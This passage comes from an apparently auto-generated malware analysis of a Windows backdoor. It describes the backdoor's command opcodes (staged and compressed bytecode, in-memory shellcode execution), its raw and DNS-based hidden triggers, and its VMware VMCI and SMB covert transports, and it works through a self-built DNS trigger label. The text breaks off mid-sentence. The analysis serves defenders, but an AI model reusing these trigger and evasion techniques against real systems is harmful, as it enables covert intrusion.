Confirm six previously written bytes match their expected fingerprint, then run them. The fingerprint is a SHA-256 hash, the same kind of check often used to confirm a downloaded file was not corrupted in transit, and a single byte out of place is enough for the instruction to refuse to run anything.

Command = STAGE_VERIFY_EXEC (0x33)
├── verified_length = 6 (0x00000006)
└── expected_sha256
 ├── length = 20 (32 bytes follow)
 └── data = A0 A0 D4 5F ... DE D5 68 C1

This pairs with the STAGE_WRITE above because both act on the same buffer: the fingerprint here is the SHA-256 of exactly the six bytes that write placed there, so the check passes. A match hands the buffer contents back to the interpreter rather than to the processor, so a staged program is bytecode and can be any instruction the language offers. Staging a RUN_SHELLCODE instruction, as here, is how staged bytes end up as running machine code. RUN_SHELLCODE on its own needs no staging.

DECOMPRESS_RUN (0x1F)

Example: 1F 00 00 08 00 5D 00 00 10 00 04 00 11 22 33

Expand a compressed block back to its original size before running it. Everything the instruction needs travels with it: the claimed size of the output, the five settings bytes the decompressor requires and the compressed data itself.

Command = DECOMPRESS_RUN (0x1F)
├── unpacked_size = 2048 (0x00000800)
├── lzma_properties = lc=3, lp=0, pb=2, 1 MiB dictionary (5D 00 00 10 00)
└── compressed_data
 ├── length = 04 (4 bytes follow)
 └── data = illustrative only, not a full compressed stream (00 11 22 33)

This instruction is self-contained and has nothing to do with the shared work area the two staging instructions above use. The compressed bytes are its own third field, so a complete program arrives in one message instead of being assembled from several. The output goes into a fresh block of memory taken from the process heap, sized by the claimed unpacked size rather than by anything measured from the data itself. What comes out is handed to the interpreter, not to the processor, so a decompressed program is bytecode like any other and still needs a RUN_SHELLCODE instruction inside it to reach native code. Staging and compression solve different problems: one splits up a program too large for a single message, the other packs it into one.

RUN_SHELLCODE (0x65)

Example: 65 04 48 31 C0 C3

Run a very short block of test machine code. Memory is initially writable, the code is copied into it and VirtualProtect then changes it to executable before the call. VirtualProtect is resolved by name at runtime rather than appearing in the file’s normal imports.

Command = RUN_SHELLCODE (0x65)
└── shellcode
 ├── length = 04 (4 bytes follow)
 └── data = xor rax, rax ; ret (48 31 C0 C3)

This is the only instruction in the language that hands bytes to the processor rather than back to the interpreter. The two-step permission change prevents the block from being writable and executable at the same time, which is the safer sequence. The call happens on the current thread, so the interpreter waits until the code returns, and the block is released the moment it does, leaving nothing behind unless the code itself arranged otherwise.

RUN_FILE_SCRIPT (0x66)

Example: 66 14 43 3A 5C 50 72 6F 67 72 61 6D 44 61 74 61 5C 64 2E 64 61 74

Load and run a program stored in a file under C:\ProgramData.

Command = RUN_FILE_SCRIPT (0x66)
└── file_path
 ├── length = 14 (20 bytes follow)
 └── data = "C:\\ProgramData\\d.dat" (43 3A 5C 50 72 6F 67 72 61 6D 44 61 74 61 5C 64 2E 64 61 74)

The entire file is read into memory and then passed through the same decryption the network channels use, with the same embedded key and envelope. A file on disk is not a different kind of payload, only a different way of delivering one. It holds an ordinary encrypted task program and reaches the interpreter through the same code path as the contents of a trigger packet. Nothing limits how large the file may be before it is read, and it is left in place afterward rather than deleted. Nothing in the command language puts that file there either. No instruction writes to disk, and every handle the backdoor opens asks for a file that already exists, so it cannot create one. From inside the language, only a RUN_SHELLCODE payload can create it with native code. Anything else has to come from elsewhere in the intrusion.

Trigger detection #

SNIFF_MAGIC_PACKET (0x87)

Example: 87 01 2A 00 00

The instruction actually stored in the analyzed file: watch every interface, forever, for the raw trigger packet only. The DNS-based trigger covered further down is not active under this opcode.

Command = SNIFF_MAGIC_PACKET (0x87)
├── interface_filter
│ ├── length = 01 (1 byte follows)
│ └── data = "*" (0x2A)
└── deadline_seconds = 0 (0x0000)

SNIFF_MAGIC_PACKET_DNS (0x88)

Example: 88 01 2A 00 00

The same instruction as above, watching every interface forever, but with the DNS-based trigger also active. This is the opcode that switches the DNS carrier on. It is not the opcode stored in the analyzed file.

Command = SNIFF_MAGIC_PACKET_DNS (0x88)
├── interface_filter
│ ├── length = 01 (1 byte follows)
│ └── data = "*" (0x2A)
└── deadline_seconds = 0 (0x0000)

Put together, this language lets an operator describe a wide range of behavior using a short list of building blocks. Despite that range, the single instruction actually stored and encrypted inside the analyzed file was short: listen on every network interface, with no time limit, for the trigger packet described earlier. Everything else in this section, from scheduling to staged file delivery to running code in memory, only exists as a capability the language provides. The programs an operator might actually choose to send still have to arrive later, over the network.

Alternative trigger channels and transports #

Five of the networking instructions share an unusual extra capability: TCP_SEND, UDP_SEND, TCP_CONNECT_RECV, TCP_LISTEN_RECV and UDP_BIND_RECV all check whether the address they were given starts with vm:, and if it does, they use VMware’s internal channel for talking between a virtual machine and its host, known as VMCI, instead of a normal network address. If the infected machine is a virtual machine running on VMware software, this channel allows commands to pass between the guest and the host or between two guests on the same host without that traffic ever appearing on a regular network, since the communication happens through the virtualization layer itself rather than a network adapter. A packet capture between machines would not include any of it. To find the correct address family value for this channel, the backdoor opens the device object \\.\VMCI and asks it directly, the same way VMware’s own VMCI Sockets API does.

There is also a second way to deliver a trigger, hidden inside ordinary-looking DNS lookups, though it is not what the analyzed file actually uses. A separate opcode, one opcode value higher than the instruction stored in the file, enables this DNS-based trigger alongside the raw one. Activating it would require either a different build with that opcode embedded or a follow-up task delivered through another route after the deployed listener had already been reached. The backdoor treats certain DNS queries as commands by encoding the command with a text-safe scheme, similar to how email attachments are sometimes encoded, and splitting it across the parts of a domain name. This lets a command travel through networks that only allow DNS traffic out, which many networks do even when most other outbound traffic is restricted.

Before any of that, the packet has to look like a DNS question in the first place: UDP or TCP to port 53, carrying a standard query header that asks exactly one question and claims no answer, authority or additional records. Nothing else in the header is examined, including the transaction number and the record type being asked about. One detail makes UDP the practical carrier. A DNS query sent over TCP is prefixed with a two-byte length field, and this code never skips it, so a standards-compliant TCP query arrives two bytes out of step and fails to parse.

Each DNS label used this way, meaning one dot-separated part of a domain name, has its own small format, separate from the length-prefixed fields used everywhere else in this post. A label is built from three parts: one marker character, a run of Base32-encoded text in the middle and a second marker character. The two markers are not fixed letters. Between them they carry a single checksum byte covering the middle text, which is what lets the backdoor tell a genuine label apart from an ordinary one. Any label that does not satisfy that checksum is silently skipped, which matters because a real query usually has more than one label, for example the example and com parts of example.com, and only the specific label carrying the trigger needs to pass.

The label checksum is a CRC-8 using polynomial 0x31, run from a starting value of zero through a 256-entry lookup table, and it covers the middle characters only, not the markers themselves. The resulting byte is then split in half: the top four bits become the first marker and the bottom four bits the last, each added to the letter g. Four bits hold sixteen values, so both markers always land between g and v, and checking that range is the first thing the backdoor does. A label whose first or last character sits outside it is dropped before any checksum is calculated, which is why ordinary labels cost almost nothing to reject.

To show this end to end, I built and verified a trigger of my own, not something captured from real traffic, encoding the same SLEEP_SECONDS(60) instruction used earlier. Encrypted with the DNS channel’s own framing (7-byte nonce, 4-byte tag, then ciphertext, using the same embedded AES-256 key as every other channel), the instruction comes to 14 bytes:

81 5C 22 62 CC B7 09 31 24 6F D3 5F 34 4D

Base32 encoding those 14 bytes with the backdoor’s lowercase alphabet gives a 23-character string. Its CRC-8 works out to 0x65, so the markers are the letters standing for 6 and 5, which are m and l. Wrapping those around the middle turns it into a single valid label:

mqfoceywmw4etcjdp2nptitil

Placed in an otherwise ordinary-looking domain name, the full query becomes:

mqfoceywmw4etcjdp2nptitil.example.com

Reading it back the same way the backdoor would, m and l both sit between g and v, so they are treated as markers. Subtracting g from each gives 6 and 5, which recombine into 0x65. Recomputing the CRC-8 over the 23 characters between them produces that same 0x65, so the label is genuine. The example and com labels that follow are rejected on the range test alone. Because e and c both come before g, the backdoor skips them without any special handling and moves on. Base32 decoding the 23-character middle section gives back the exact 14 bytes shown above:

[label] mqfoceywmw4etcjdp2nptitil
├── marker (first) = "m"
├── payload (base32, 23 chars) = qfoceywmw4etcjdp2nptiti
└── marker (last) = "l"
 └── decodes to 14 bytes: 81 5C 22 62 CC B7 09 31 24 6F D3 5F 34 4D
 ├── nonce = 81 5C 22 62 CC B7 09 (7 bytes)
 ├── tag = 31 24 6F D3 (4 bytes)
 └── ciphertext = 5F 34 4D (3 bytes)
 └── decrypted with AES-256-CCM and the embedded AES-256 key:
 Command = SLEEP_SECONDS (0x0C)
 └── duration_seconds = 60 (0x003C)

Everything after the decode is the same as any other channel. Joining the decoded labels back together produces the AES-256-CCM envelope shown above, and from there it is decrypted and handed to the interpreter just as a trigger packet’s contents are. DNS adds only a preceding encoding layer: the envelope arrives split across one or more labels rather than in one piece.

Taken together, the networking instructions described above use six underlying transports. A shared factory installs the appropriate send, receive, bind and listen functions for the selected transport, allowing each networking opcode to use its chosen channel consistently. None of these transports has a hard-coded address, domain or URL. Every target is supplied at runtime inside the task program.

TransportMechanismNotes
TCPsocket / connect / listen / acceptClient and server. Host and port are resolved with getaddrinfo.
UDPsendto / recvfromOne-shot send and bind-and-receive.
ICMPIcmpSendEchoData is smuggled inside ping echo-request payloads.
SMB named pipeCreateNamedPipeW / CreateFileW on \\host\pipe\nameCan mount the remote share with supplied credentials first, for lateral movement.
VMware VMCIAddress family resolved through \\.\VMCIA covert guest-to-host or guest-to-guest channel that never touches a physical network adapter.
Raw / promiscuousRaw socket with promiscuous mode enabledHow the hidden trigger packet described earlier is received.

Network reachability and attacker positioning #

Two questions are worth separating here: how an operator delivers the first command to an idle backdoor and how far a task’s transport can reach once a task is running. They have different answers, summarized here and explained below:

ChannelInternetFirewall / NATInternal networkTarget host
Raw trigger (first command)BlockedBlockedReachesReaches
DNS trigger (implemented, not active in this sample)ReachesReachesReachesReaches
VMCI (guest/host channel)Not applicableNot applicableNot applicableReaches only within the same VMware host or VMCI fabric
Outbound-initiated transports (after trigger)ReachesReachesReachesReaches
Inbound-facing transports (after trigger)BlockedBlockedReachesReaches

“Blocked” means a perimeter firewall or NAT gateway ordinarily stops it, not that it is impossible under every network configuration. The paragraphs below cover the exceptions.

Delivering the first command depends on an ordinary packet actually reaching the network interface the backdoor is watching. A perimeter firewall or a NAT gateway commonly blocks unsolicited raw traffic arriving from the open internet, so reaching the raw trigger in practice means the operator already has a path onto that network, either by already being on it or by pivoting from another machine that is. The ordinary exceptions apply here too: a host with a public IP address, a NAT or port-forwarding rule aimed at it or a host that is itself running a public-facing DNS service, can all be reached directly.

There is a less obvious exception. Each interface is captured using Windows’ SIO_RCVALL option set to receive everything crossing it, not only packets addressed to the local host. On an ordinary endpoint, this makes little difference. On a machine that routes or forwards traffic for others, such as a gateway, VPN server or host bridging two network segments, traffic addressed to a completely different machine would still cross the watched interface and could carry the trigger. A machine used this way does not need to be the operator’s actual destination at all.

A DNS-based trigger exists in the binary as a workaround for that more restrictive case, but it is not what the analyzed sample actually runs. The bootstrap embedded in the file selects the plain listener. The DNS-aware listener uses a separate opcode that an operator would have to select by shipping a different build or by sending a follow-up task through another route. Where it is used, DNS is one of the few kinds of traffic a network almost always allows through and one of the least closely inspected, so it is the channel best suited to crossing a boundary that would stop the raw trigger outright. It does not remove the need for a packet to reach the interface, only the need for the operator to already be close enough for a plain raw packet to get there. Such a trigger could also arrive without any inbound delivery if something on the machine is induced to make an outbound DNS lookup carrying the trigger. The same listener would see that query as it leaves.

Once a task is running, its reach depends on the transport it selects. Most transports do not need the same kind of access as the initial trigger. TCP_SEND

PAN's pipeline reviewed approximately 1 open sources for this article. No human editor reviewed this article before publication.

Related Reads

Show on timeline →